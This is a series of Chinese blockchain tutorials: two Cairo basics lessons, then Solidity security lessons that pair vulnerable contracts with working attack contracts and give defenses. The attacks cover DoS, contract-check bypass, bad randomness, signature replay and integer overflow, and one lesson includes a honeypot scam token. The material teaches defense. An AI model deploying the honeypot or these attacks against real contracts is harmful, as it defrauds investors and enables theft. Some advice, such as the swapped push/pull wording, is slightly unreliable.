推特：@0xAA_Science｜@WTFAcademy_

WTF Academy 社群：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在 github: github.com/WTFAcademy/WTF-Cairo

felt

felt（field element，域元素）是 cairo 的基本类型，数字，字符串，地址通通由它表示。它是定义在 $[0, P]$ 的整数，其中 P 是一个非常大的质数。在目前的版本中，$P = 2^{251}+17*2^{192}+1$，大小为252 bit。P 具有一些很好的数学性质用于零知识证明，因此没有选择和Solidity一致的256 bit。

整型

felt 可以被整型赋值，下面的例子中，我们将 7828582 赋值给 res:

@view
func int() -> (res: felt) {
    return (res=7828582);
}

字节

felt 可以被 bytes（十六进制数）赋值，下面的例子中，我们将 0x777466 赋值给 res:

@view
func bytes() -> (res: felt) {
    return (res=0x777466);
}

短字符串

felt 可以被短字符串（31个字符以内）赋值，太长的字符串需要借助外部的库（cairo-lang 1.0 版本可能会改善）。下面的例子中，我们将 wtf 赋值给 res:

@view
func shortString() -> (res: felt) {
    return (res='wtf');
}

上面三个变量 7828582，0x777466，和 'wtf' 对应的felt值其实是相等的，你可以将合约部署到测试网，然后在区块链浏览器的Read Contract页面分别点击Decimal，Hex，和Text看看同一个值的不同格式输出。

布尔值

如果你需要使用布尔值，将felt赋值为0或1。

运算符

felt 类型支持加，减，乘，除四则运算，但是除法与整数除法有区别。

1. 如果x 能被 y 整除，那么非常好，结果也是整数。下面的例子中，变量 divide = 10/5 = 2。

2. 如果 x 不能被 y 整除，比如 3/2，那么很不好，结果既不是 1，2，或 1.5。而是：

   是的，非常长的一串数字，为了方便，咱们称这个数字为 $x$，那么 $x$ 代表什么？首先，felt 除法是乘法的逆运算，其实 $x = (P+3)/2$，满足$x$为整数且$2 * x (\mod P) = 3$。

在下面的代码中，我们尝试了felt的四则运算，其中 divide1 变量存储了$x$的值。在 playground 编译并部署到测试网之后，我们可以看到 recover = divide1 * 2 = 3。

@view
func operations() -> (add: felt, minus: felt, multiply: felt, divide: felt, divide1: felt, recover: felt) {
    let x = 10;
    let y = 5;
    let add = x + y;
    let minus = x - y;
    let multiply = x * y;
    let divide = x/y;
    // note the division of felt is different from integers.
    let divide1 = 3/2;
    let recover = divide1*2;
    return (add, minus, multiply, divide, divide1, recover);
}

总结

这一讲，我们介绍了cairo的基本类型felt，和它支持的运算符。特别要注意的是felt的除法与整数除法不同，可能会得到预期之外的结果。如果想进行整数运算，可以利用math库的unsigned_div_rem()函数。

推特：@0xAA_Science｜@WTFAcademy_

WTF Academy 社群：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在 github: github.com/WTFAcademy/WTF-Cairo

Cairo 简介

cairo（cairo-lang）是StarkNet（以太坊ZK-Rollup扩容方案）智能合约的编程语言。它同时也用于编写可证明程序，证明某个计算已正确执行。Cairo主要有两个特点：

1. ZK友好: Cairo是原生的可证明计算的编程语言，可以直接编译为Stark可证明程序。而Solidity不能。

2. 难学: Cairo是低级语言，学习曲线陡峭；并且现在属于开发早期，每个版本都会有很大改变。

目前Cairo版本为0.10.2，预计22年年底发行比较成熟的1.0版本。

开发工具: Cairo Playground

本教程中，我会用cairo playground来运行cairo合约。cairo playground是Cairo官方开发的在线编辑器，适合新手，可以在浏览器中快速部署智能合约，你不需要在本地安装任何程序。

网址: cairo-lang.org/playground/

Hello Cairo

第一个Cairo程序很简单，只有5行代码：

%lang starknet
@view
func gm() -> (res: felt) {
    return (res='Hello Cairo!');
}

我们拆开分析，学习cairo代码源文件的结构：

1. 第1行声明了这段代码为 StarkNet 合约。如果不声明，则不能部署在StarkNet上。

%lang starknet

1. 之后，我们写一个函数。第2行，我们用@view修饰这个函数。与solidity中的类似view类似，该函数只能查询但不能修改合约状态。

2. 第3-5行我们声明了名为gm的函数，没有参数，返回一个变量，类型为felt。felt（field element，域元素）是 cairo 的基本类型，数字，字符串，地址通通由它表示。然后在函数体中，我们将返回值设为 Hello Cairo!。

@view
func gm() -> (res: felt) {
    return (res='Hello Cairo!');
}

编译并部署代码

我们将代码拷贝到cairo playground的编辑器（Editor）中，然后点击右上角的 Deploy on StarkNet 就能将合约编译并部署到StarkNet测试网上。部署好以后，下面的输出栏（Output）会显示智能合约地址和交易哈。合约部署上链大概需要2-5分钟

合约部署成功后，点击合约地址链接跳转到StarkNet的区块链浏览器Voyager（类似以太坊的etherscan）就可以查看合约。一个已部署好的例子。

下滑到页面底，点击Read Contract栏，可以看到合约里的只读函数gm()。点击gm，将输出选为Text（文本），然后点击Query运行函数，就可以看到Hello Cairo!了！

总结

这一讲，我们简单介绍了cairo-lang，并在cairo playground中部署了第一个cairo智能合约--Hello Cairo。之后，我们将继续 Cairo 之程！

Cairo 资料推荐

1. Cairo官方文档（英文）

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity

这一讲，我们将介绍貔貅合约和预防方法（英文习惯叫蜜罐代币 honeypot token）。

貔貅学入门

貔貅是中国的一个神兽，因为在天庭犯了戒，被玉帝揍的肛门封闭了，只能吃不能拉，可以帮人们聚财。但在Web3中，貔貅变为了不详之兽，韭菜的天敌。貔貅盘的特点：投资人只能买不能卖，仅有项目方地址能卖出。

通常一个貔貅盘有如下的生命周期：

1. 恶意项目方部署貔貅代币合约。

2. 宣传貔貅代币让散户上车，由于只能买不能卖，代币价格会一路走高。

3. 项目方rug pull卷走资金。

学会貔貅合约的原理，才能更好的识别并避免被割，才能做一个顽强的韭菜！

貔貅合约

这里我们介绍一个极简的ERC20代币貔貅合约Pixiu。在该合约中，只有合约拥有者可以在uniswap出售代币，其他地址不能。

Pixiu 有一个状态变量pair，用于记录uniswap中 Pixiu-ETH LP的币对地址。它主要有三个函数：

1. 构造函数：初始化代币的名称和代号，并根据 uniswap 和 create2 的原理计算LP合约地址，具体内容可以参考 WTF Solidity 第25讲: Create2。这个地址会在 _beforeTokenTransfer() 函数中用到。

2. mint()：铸造函数，仅 owner 地址可以调用，用于铸造 Pixiu 代币。

3. _beforeTokenTransfer()：ERC20代币在被转账前会调用的函数。在其中，我们限制了当转账的目标地址 to 为 LP 的时候，也就是韭菜卖出的时候，交易会 revert；只有调用者为owner的时候能够成功。这也是貔貅合约的核心。

// 极简貔貅ERC20代币，只能买，不能卖
contract HoneyPot is ERC20, Ownable {
    address public pair;

    // 构造函数：初始化代币名称和代号
    constructor() ERC20("HoneyPot", "Pi Xiu") {
        address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory
        address tokenA = address(this); // 貔貅代币地址
        address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; //  goerli WETH
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); //将tokenA和tokenB按大小排序
        bytes32 salt = keccak256(abi.encodePacked(token0, token1));
        // calculate pair address
        pair = address(uint160(uint(keccak256(abi.encodePacked(
        hex'ff',
        factory,
        salt,
        hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
        )))));
    }
    
    /**
     * 铸造函数，只有合约所有者可以调用
     */
    function mint(address to, uint amount) public onlyOwner {
        _mint(to, amount);
    }

    /**
     * @dev See {ERC20-_beforeTokenTransfer}.
     * 貔貅函数：只有合约拥有者可以卖出
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);
        // 当转账的目标地址为 LP 时，会revert
        if(to == pair){
            require(from == owner(), "Can not Transfer");
        }
    }
}

预防方法

貔貅币是韭菜在链上梭哈最容易遇到的骗局，并且形式多变，预防非常有难度。我们有以下几点建议，可以降低被貔貅盘割韭菜的风险：

1. 在区块链浏览器上（比如etherscan）查看合约是否开源，如果开源，则分析它的代码，看是否有貔貅漏洞。

2. 如果没有编程能力，可以使用貔貅识别工具，比如 Token Sniffer，分低的话大概率是貔貅。

3. 看项目是否有审计报告。

4. 仔细检查项目的官网和社交媒体。

5. 只投资你了解的项目，做好研究（DYOR）。

总结

这一讲，我们介绍了貔貅合约和预防貔貅盘的方法。貔貅盘是每个韭菜必经之路，大家也对它恨之入骨。另外，最近也出现貔貅 NFT，恶意项目方通过修改 ERC721 的转账或授权函数，使得普通投资者不能出售它们。了解貔貅合约的原理和预防方法，可以显著减少你买到貔貅盘的概率，让你的资金更安全，大家要不断学习。

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍智能合约的拒绝服务（Denial of Service, DoS）漏洞，并介绍预防的方法。NFT项目 Akutar 曾因为 DoS 漏洞损失 11,539 ETH，当时价值 3400 万美元。

DoS​

在 Web2 中，拒绝服务攻击（DoS）是指通过向服务器发送大量垃圾信息或干扰信息的方式，导致服务器无法向正常用户提供服务的现象。而在 Web3，它指的是利用漏洞使得智能合约无法正常提供服务。

在2022年4月，一个很火的 NFT 项目名为 Akutar，他们使用荷兰拍卖进行公开发行，筹集了 11,539.5 ETH，非常成功。之前持有他们社区Pass的参与者会得到 0.5 ETH的退款，但是他们处理退款的时候，发现智能合约不能正常运行，全部资金被永远锁在了合约里。他们的智能合约有拒绝服务漏洞。

漏洞例子​

下面我们学习一个简化了的 Akutar 合约，名字叫 DoSGame。这个合约逻辑很简单，游戏开始时，玩家们调用 deposit() 函数往合约里存款，合约会记录下所有玩家地址和相应的存款；当游戏结束时，refund()函数被调用，将 ETH 依次退款给所有玩家。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// 有DoS漏洞的游戏，玩家们先存钱，游戏结束后，调用deposit退钱。
contract DoSGame {
    bool public refundFinished;
    mapping(address => uint256) public balanceOf;
    address[] public players;
    
    // 所有玩家存ETH到合约里
    function deposit() external payable {
        require(!refundFinished, "Game Over");
        require(msg.value > 0, "Please donate ETH");
        // 记录存款
        balanceOf[msg.sender] = msg.value;
        // 记录玩家地址
        players.push(msg.sender);
    }

    // 游戏结束，退款开始，所有玩家将依次收到退款
    function refund() external {
        require(!refundFinished, "Game Over");
        uint256 pLength = players.length;
        // 通过循环给所有玩家退款
        for(uint256 i; i < pLength; i++){
            address player = players[i];
            uint256 refundETH = balanceOf[player];
            (bool success, ) = player.call{value: refundETH}("");
            require(success, "Refund Fail!");
            balanceOf[player] = 0;
        }
        refundFinished = true;
    }

    function balance() external view returns(uint256){
        return address(this).balance;
    }
}

这里的漏洞在于，refund() 函数中利用循环退款的时候，是使用的 call 函数，将激活目标地址的回调函数，如果目标地址为一个恶意合约，在回调函数中加入了恶意逻辑，退款将不能正常进行。

(bool success, ) = player.call{value: refundETH}("");

下面我们写个攻击合约， attack() 函数中将调用 DoSGame 合约的 deposit() 存款并参与游戏；fallback() 回调函数将回退所有向该合约发送ETH的交易，对DoSGame 合约中的DoS漏洞进行了攻击，所有退款将不能正常进行，资金被锁在合约中，就像 Akutar 合约中的一万多枚ETH一样。

contract Attack {
    fallback() external payable{
        revert("DoS Attack!");
    }

    function attack(address gameAddr) external payable {
        DoSGame dos = DoSGame(gameAddr);
        dos.deposit{value: msg.value}();
    }
}

Remix 复现​

1. 部署 DoSGame 合约。

2. 调用 DoSGame 合约的 deposit()，进行存款并参与游戏。

3. 部署 Attack 合约。

4. 调用 Attack 合约的 attack()，进行存款并参与游戏。

5. 调用 DoSGame 合约refund()，进行退款，发现不能正常运行，攻击成功。

预防方法​

很多逻辑错误都可能导致智能合约拒绝服务，所以开发者在写智能合约时要万分谨慎。以下是一些需要特别注意的地方：

1. 外部合约的函数调用（例如 call）失败时不会使得重要功能卡死，比如将上面漏洞合约中的 require(success, "Refund Fail!"); 去掉，退款在单个地址失败时仍能继续运行。

2. 合约不会出乎意料的自毁。

3. 合约不会进入无限循环。

4. require 和 assert 的参数设定正确。

5. 退款时，让用户从合约自行领取（push），而非批量发送给用户(pull)。

6. 确保回调函数不会影响正常合约运行。

7. 确保当合约的参与者（例如 owner）永远缺席时，合约的主要业务仍能顺利运行。

总结​

这一讲，我们介绍了智能合约的拒绝服务，并举了 Akutar 项目因为该漏洞损失了一万多枚ETH。很多逻辑错误都能导致DoS，开发者写智能合约时要万分谨慎，比如退款要让用户自行领取，而非合约批量发送给用户。

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍绕过合约长度检查，并介绍预防的方法。

绕过合约检查​

很多 freemint 的项目为了限制科学家（程序员）会用到 isContract() 方法，希望将调用者 msg.sender 限制为外部账户（EOA），而非合约。这个函数利用 extcodesize 获取该地址所存储的 bytecode 长度（runtime），若大于0，则判断为合约，否则就是EOA（用户）。

    // 利用 extcodesize 检查是否为合约
    function isContract(address account) public view returns (bool) {
        // extcodesize > 0 的地址一定是合约地址
        // 但是合约在构造函数时候 extcodesize 为0
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

这里有一个漏洞，就是在合约在被创建的时候，runtime bytecode 还没有被存储到地址上，因此 bytecode 长度为0。也就是说，如果我们将逻辑写在合约的构造函数 constructor 中的话，就可以绕过 isContract() 检查。

漏洞例子​

下面我们来看一个例子：ContractCheck合约是一个 freemint ERC20 合约，铸造函数 mint() 中使用了 isContract() 函数来阻止合约地址的调用，防止科学家批量铸造。每次调用 mint() 可以铸造 100 枚代币。

// 用extcodesize检查是否为合约地址
contract ContractCheck is ERC20 {
    // 构造函数：初始化代币名称和代号
    constructor() ERC20("", "") {}
    
    // 利用 extcodesize 检查是否为合约
    function isContract(address account) public view returns (bool) {
        // extcodesize > 0 的地址一定是合约地址
        // 但是合约在构造函数时候 extcodesize 为0
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    // mint函数，只有非合约地址能调用（有漏洞）
    function mint() public {
        require(!isContract(msg.sender), "Contract not allowed!");
        _mint(msg.sender, 100);
    }
}

我们写一个攻击合约，在 constructor 中多次调用 ContractCheck 合约中的 mint() 函数，批量铸造 1000 枚代币：

// 利用构造函数的特点攻击
contract NotContract {
    bool public isContract;
    address public contractCheck;

    // 当合约正在被创建时，extcodesize (代码长度) 为 0，因此不会被 isContract() 检测出。
    constructor(address addr) {
        contractCheck = addr;
        isContract = ContractCheck(addr).isContract(address(this));
        // This will work
        for(uint i; i < 10; i++){
            ContractCheck(addr).mint();
        }
    }

    // 合约创建好以后，extcodesize > 0，isContract() 可以检测
    function mint() external {
        ContractCheck(contractCheck).mint();
    }
}

如果我们之前讲的是正确的话，在构造函数调用 mint() 可以绕过 isContract() 的检查成功铸造代币，那么函数将成功部署，并且状态变量 isContract 会在构造函数赋值 false。而在合约部署之后，runtime bytecode 已经被存储在合约地址上了，extcodesize > 0， isContract() 能够成功阻止铸造，调用 mint() 函数将失败。

Remix 复现​

1. 部署 ContractCheck 合约。

2. 部署 NotContract 合约，参数为 ContractCheck 合约地址。

3. 调用 ContractCheck 合约的 balanceOf 查看 NotContract 合约的代币余额为 1000，攻击成功。

4. 调用NotContract 合约的 mint() 函数，由于此时合约已经部署完成，调用 mint() 函数将失败。

预防办法​

你可以使用 (tx.origin == msg.sender) 来检测调用者是否为合约。如果调用者为 EOA，那么tx.origin和msg.sender相等；如果它们俩不想等，调用者为合约。

function realContract(address account) public view returns (bool) {
    return (tx.origin == msg.sender);
}

总结​

这一讲，我们介绍了合约长度检查可以被绕过的漏洞，并介绍预防的方法。如果一个地址的 extcodesize > 0，则该地址一定为合约；但如果 extcodesize = 0，该地址既可能为 EOA，也可能为正在创建状态的合约。

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍智能合约的坏随机数（Bad Randomness）漏洞和预防方法，这个漏洞经常在 NFT 和 GameFi 中出现，包括 Meebits，Loots，Wolf Game等。

伪随机数

很多以太坊上的应用都需要用到随机数，例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（public）且确定性（deterministic）的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如random()。很多项目方不得不使用链上的伪随机数生成方法，例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞：攻击者可以事先计算这些伪随机数的结果，从而达到他们想要的目的，例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲：伪随机数。

坏随机数案例

下面我们学习一个有坏随机数漏洞的 NFT 合约： BadRandomness.sol。

contract BadRandomness is ERC721 {
    uint256 totalSupply;

    // 构造函数，初始化NFT合集的名称、代号
    constructor() ERC721("", ""){}

    // 铸造函数：当输入的 luckyNumber 等于随机数时才能mint
    function luckyMint(uint256 luckyNumber) external {
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number
        require(randomNumber == luckyNumber, "Better luck next time!");

        _mint(msg.sender, totalSupply); // mint
        totalSupply++;
    }
}

它有一个主要的铸造函数 luckyMint()，用户调用时输入一个 0-99 的数字，如果和链上生成的伪随机数 randomNumber 相等，即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol。

contract Attack {
    function attackMint(BadRandomness nftAddr) external {
        // 提前计算随机数
        uint256 luckyNumber = uint256(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        ) % 100;
        // 利用 luckyNumber 攻击
        nftAddr.luckyMint(luckyNumber);
    }
}

攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中，我们计算了随机数 luckyNumber，然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用，blockhash和block.timestamp是相同的，利用他们生成的随机数也相同。

Remix 复现

由于 Remix 自带的 Remix VM不支持 blockhash函数，因此你需要将合约部署到以太坊测试链上进行复现。

1. 部署 BadRandomness 合约。

2. 部署 Attack 合约。

3. 将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用，完成攻击。

4. 调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额，确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞，例如 Chainlink VRF。这类随机数从链下生成，然后上传到链上，从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲：伪随机数。

总结

这一讲我们介绍了坏随机数漏洞，并介绍了一个简单的预防方法：使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖，以防被黑客利用。

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍智能合约的签名重放（Signature Replay）攻击和预防方法，它曾间接导致了著名做市商 Wintermute 被盗2000万枚 $OP。

签名重放​

上学的时候，老师经常会让家长签字，有时候家长很忙，我就会很“贴心”照着以前的签字抄一遍。某种意义上来说，这就是签名重放。

在区块链中，数字签名可以用于识别数据签名者和验证数据完整性。发送交易时，用户使用私钥签名交易，使得其他人可以验证交易是由相应账户发出的。智能合约也能利用 ECDSA 算法验证用户将在链下创建的签名，然后执行铸造或转账等逻辑。更多关于数字签名的介绍请见WTF Solidity第37讲：数字签名。

数字签名一般有两种常见的重放攻击：

1. 普通重放：将本该使用一次的签名多次使用。NBA官方发布的《The Association》系列 NFT 因为这类攻击被免费铸造了上万枚。

2. 跨链重放：将本该在一条链上使用的签名，在另一条链上重复使用。做市商 Wintermute 因为跨链重放攻击被盗2000万枚 $OP。

漏洞合约例子​

下面的SigReplay合约是一个ERC20代币合约，它的铸造函数有签名重放漏洞。它使用链下签名让白名单地址 to 铸造相应数量 amount 的代币。合约中保存了 signer 地址，来验证签名是否有效。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

// 权限管理错误例子
contract SigReplay is ERC20 {

    address public signer;

    // 构造函数：初始化代币名称和代号
    constructor() ERC20("SigReplay", "Replay") {
        signer = msg.sender;
    }
    
    /**
     * 有签名重访漏洞的铸造函数
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 签名： 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b
     */
    function badMint(address to, uint amount, bytes memory signature) public {
        bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount));
        require(verify(_msgHash, signature), "Invalid Signer!");
        _mint(to, amount);
    }

    /**
     * 将to地址（address类型）和amount（uint256类型）拼成消息msgHash
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 对应的消息msgHash: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be
     */
    function getMessageHash(address to, uint256 amount) public pure returns(bytes32){
        return keccak256(abi.encodePacked(to, amount));
    }

    /**
     * @dev 获得以太坊签名消息
     * `hash`：消息哈希 
     * 遵从以太坊签名标准：https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * 以及`EIP191`:https://eips.ethereum.org/EIPS/eip-191`
     * 添加"\x19Ethereum Signed Message:\n32"字段，防止签名的是可执行交易。
     */
    function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }

    // ECDSA验证
    function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){
        return ECDSA.recover(_msgHash, _signature) == signer;
    }

注意 铸造函数 badMint() 没有对 signature 查重，导致同样的签名可以多次使用，无限铸造代币。

    function badMint(address to, uint amount, bytes memory signature) public {
        bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount)));
        require(verify(_msgHash, signature), "Invalid Signer!");
        _mint(to, amount);
    }

Remix 复现​

1. 部署 SigReplay 合约，签名者地址 signer 被初始化为部署钱包地址。

2. 利用getMessageHash函数获取消息。

3. 点击 Remix 部署面板的签名按钮，使用私钥给消息签名。

4. 反复调用 badMint 进行签名重放攻击，铸造大量代币。

预防办法​

签名重放攻击主要有两种预防办法：

1. 将使用过的签名记录下来，比如记录下已经铸造代币的地址 mintedAddress，防止签名反复使用：

   mapping(address => bool) public mintedAddress;   // 记录已经mint的地址
   
   function goodMint(address to, uint amount, bytes memory signature) public {
       bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount));
       require(verify(_msgHash, signature), "Invalid Signer!");
       // 检查该地址是否mint过
       require(!mintedAddress[to], "Already minted");
       // 记录mint过的地址
       mintedAddress[to] = true;
       _mint(to, amount);
   }
   ```solidity
   

2. 将 nonce （数值随每次交易递增）和 chainid （链ID）包含在签名消息中，这样可以防止普通重放和跨链重放攻击：

   uint nonce;
   
   function nonceMint(address to, uint amount, bytes memory signature) public {
       bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid)));
       require(verify(_msgHash, signature), "Invalid Signer!");
       _mint(to, amount);
       nonce++;
   }
   

总结​

这一讲，我们介绍了智能合约中的签名重放漏洞，并介绍了两个预防方法：

1. 将使用过的签名记录下来，防止二次使用。

2. 将 nonce 和 chainid 包含到签名消息中。

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍整型溢出漏洞（Arithmetic Over/Under Flows）。这是一个比较经典的漏洞，Solidity 0.8版本后内置了Safemath库，因此很少发生。

整型溢出

以太坊虚拟机（EVM）为整型设置了固定大小，因此它只能表示特定范围的数字。例如 uint8，只能表示 [0,255] 范围内的数字。如果给 uint8 类型变量的赋值 257，则会上溢（overflow）变为 1；如果给它赋值-1，则会下溢（underflow）变为255。

攻击者可以利用这个漏洞进行攻击：想象一下，黑客余额为0，他凭空花 $1 之后，余额突然变成了 $2^256-1。2018年的土狗项目 PoWHC 因为这个漏洞被盗了 866 ETH。

漏洞合约例子

下面这个例子是一个简单的代币合约，参考了 Ethernaut 中的合约。它有 2 个状态变量：balances 记录了每个地址的余额，totalSupply 记录了代币总供给。

它有 3 个函数：

• 构造函数：初始化代币总供给。

• transfer()：转账函数。

• balnceOf()：查询余额函数。

由于solidity 0.8.0 版本之后会自动检查整型溢出错误，溢出时会报错。如果我们要重现这种漏洞，需要使用 unchecked 关键字，在代码块中临时关掉溢出检查，就像我们在 transfer() 函数中做的那样。

这个例子中的漏洞就出现在transfer() 函数中，require(balances[msg.sender] - _value >= 0); 这个检查由于整型溢出，永远都会通过。因此用户可以无限转账。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }
  
  function transfer(address _to, uint _value) public returns (bool) {
    unchecked{
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }
    return true;
  }
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Remix 复现

1. 部署 Token 合约，将总供给设为 100。

2. 向另一个账户转账 1000 个代币，可以转账成功。

3. 查询自己账户的余额，发现是一个非常大的数字，约为2^256。

预防办法

1. Solidity 0.8.0 之前的版本，在合约中引用 Safemath 库，在整型溢出时报错。

2. Solidity 0.8.0 之后的版本内置了 Safemath，因此几乎不存在这类问题。开发者有时会为了节省gas使用 unchecked 关键字在代码块中临时关闭整型溢出检测，这时要确保不存在整型溢出漏洞。

总结

这一讲，我们介绍了经典的整型溢出漏洞，由于solidity 0.8.0 版本后内置 Safemath 的整型溢出检查，这类漏洞已经很少见了。

推特：@0xAA_Science｜@WTFAcademy_

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍智能合约的权限管理漏洞。这个漏洞导致了跨链桥 Poly Network 被黑 6.11 亿美元，并导致了BSC上DeFi项目 ShadowFi 被黑 $300,000。

权限管理漏洞

智能合约中的权限管理定义了不同角色在应用中的权限。通常来说，代币的铸造、提取资金、暂停等功能都需要较高权限的用户才能调用。如果权限配置错误，就可能造成意想不到的损失。下面我们介绍两种常见的权限管理漏洞。

1. 权限配置错误

如果合约中特殊功能没有加上权限管理，那么任何人都能铸造大量代币或将合约中的资金提光。跨链桥 Poly Network 的合约中转移守护者的函数没有配置相应权限，被黑客改为自己的地址，从而提走了合约中的 6.11 亿美元。

在下面的代码中，mint()函数没有进行权限管理，那么任何人都可以调用它铸造代币。

// 错误的mint函数，没有限制权限
function badMint(address to, uint amount) public {
    _mint(to, amount);
}

2. 授权检查错误

另一类常见的权限管理漏洞是没有在函数中检查调用者是否拥有足够的授权。BSC上DeFi项目 ShadowFi 的代币合约忘了在 burn() 销毁函数中检查调用者的授权额度，导致攻击者可以任意的销毁其他地址的代币。在黑客将流动性池子中的代币销毁之后，仅需卖出一点代币就可以将池子里的所有 BNB 提走，获利 $300,000。

// 错误的mint函数，没有限制权限
function badBurn(address account, uint amount) public {
    _burn(account, amount);
}

预防办法

权限管理漏洞主要有两种预防办法：

1.使用 Openzeppelin 的权限管理库给合约的特殊函数配置相应的权限，比如使用OnlyOwner修饰器，只有合约所有者才能调用。

// 正确的mint函数，使用 onlyOwner 修饰器限制权限
function goodMint(address to, uint amount) public onlyOwner {
    _mint(to, amount);
}

2.在函数的逻辑中确保合约调用者拥有足够的授权。

// 正确的burn函数，如果销毁的不是自己的代币，则会检查授权
function goodBurn(address account, uint amount) public {
    if(msg.sender != account){
        _spendAllowance(account, msg.sender, amount);
    }
    _burn(account, amount);
}

总结

这一讲，我们介绍了智能合约中的权限管理漏洞。它主要有两种形式：权限配置错误和授权检查错误。为了避免这类漏洞，我们要使用权限管理库给特殊函数配置相应的权限，并且在函数的逻辑中确保合约调用者拥有足够的授权。

推特：@0xAA_Science

社区：Discord｜微信群｜官网 wtf.academy

所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity

这一讲，我们将介绍智能合约中的中心化和伪去中心化所带来的风险。Ronin桥和Harmony桥因该漏洞被黑客攻击，分别被盗取了 6.24 亿美元和 1 亿美元。

中心化风险

我们经常以Web3的去中心化为骄傲，认为在Web3.0世界里，所有权和控制权都是去中心化。但实际上，中心化是Web3项目最常见的风险之一。知名区块链审计公司Certik在2021年DeFi安全报告中指出：

中心化风险是 DeFi 中最常见的漏洞，2021年中有 44 次 DeFi 黑客攻击与它相关，造成用户资金损失超过 13 亿美元。这强调了权力下放的重要性，许多项目仍需努力实现这一目标。

中心化风险指智能合约的所有权是中心化的，例如合约的owner由一个地址控制，它可以随意修改合约参数，甚至提取用户资金。中心化的项目存在单点风险，可以被恶意开发者（内鬼）或黑客利用，只需要获取具有控制权限地址的私钥之后，就可以通过rug-pull，无限铸币，或其他类型方法盗取资金。

链游项目Vulcan Forged在2021年12月因私钥泄露被盗 1.4 亿美元，DeFi项目EasyFi在2021年4月因私钥泄露被盗 5900 万美元，DeFi项目bZx在钓鱼攻击中私钥泄露被盗 5500 万美元。

伪去中心化风险

伪去中心化的项目通常对外鼓吹自己是去中心化的，但实际上和中心化项目一样存在单点风险。比如使用多签钱包来管理智能合约，几个多签人是一致行动人，背后由一个人控制。这类项目由于包装的很去中心化，容易得到投资者信任，所以当黑客事件发生时，被盗金额也往往更大。

